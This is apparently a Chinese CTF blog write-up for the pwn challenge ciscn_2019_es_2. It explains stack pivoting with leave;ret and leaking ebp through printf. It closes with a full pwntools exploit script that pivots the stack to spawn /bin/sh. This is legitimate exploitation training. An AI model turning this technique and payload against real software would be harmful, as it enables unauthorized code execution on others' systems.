栈迁移及ciscn_2019_es_2解题

栈迁移是在缓冲区溢出空间较少,不足以覆盖ebp和getshell_addr时采用,主要利用leave和ret两条指令。通过gadget修改esp值返回old_ebp,再ret使得eip指向下一个栈帧的地址,同

时增加esp的值,改变程序执行流程,使得程序从一个栈帧迁移到另一个栈帧。

1.检查文件类型,只有NX和部分RELRO打开,进入ida查看,主要看vuln函数。清除缓冲区,读入,打印,再读入。可以看到s的大小只有0x28,read写入0x30,溢出空间太少,不足以覆盖ebp和ret_addr,用栈迁移。

2.第一个read用来发送payload先填满缓冲区,这里注意,用send而不用sendline避免\n占去ebp的第一个地址;printf函数泄露出ebp的地址(printf函数遇到\x00前会一直打印),第二个read来构造新的栈帧进行leave ret。

3.第二个payload是关键,首先在ida里找到system(一个后门函数,参数需要改)地址,用gdb找到ROPgadget找到leave ret地址。

4.寻找偏移量,因为劫持目标地址是s的起始地址,这样在ida里进入vuln函数点tap键进入汇编,找nop命令,设置断点(0x080485FC)进入GDB调试,在第二个read输入aaaa,查看栈情况,图中推入0x0的地址即为old_ebp,其与插入aaaa的esp相距0x98-0x60=0x38,则说明printf出的ebp-0x38即为s的起始地址。

5.payload2构造时起先加上的b‘aaaa’是为了填充给到esp的四个字节大小(gdb调试填入aaaa后往下ni运行可以看到esp值为ebp指向的值还要加4(32位)),后面跟上system和/bin/sh把0x28的缓冲区填满,再接上s_addr和leave ret。

wp如下:欢迎各位师傅批评指正!

from pwn import*
io = process('./ciscn_2019_es_2')
#io = remote('nodeX.buuoj.cn',XXXX)
#gdb.attach(io) 

sys_addr = 0x08048400
leave_ret = 0x080484B8

io.send(b'a'*0x27 + b'b')
io.recvuntil(b'b')
ebp_addr = u32(io.recv(4))
print(hex(ebp_addr))
payload2 = b'aaaa' + p32(sys_addr) + p32(0)
payload2 += p32(ebp_addr-0x28) + b'/bin/sh\x00'
payload2 = payload2.ljust(0x28,b'\x00')
payload2 += p32(ebp_addr - 0x38) + p32(leave_ret)

io.sendline(payload2)
io.interactive()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值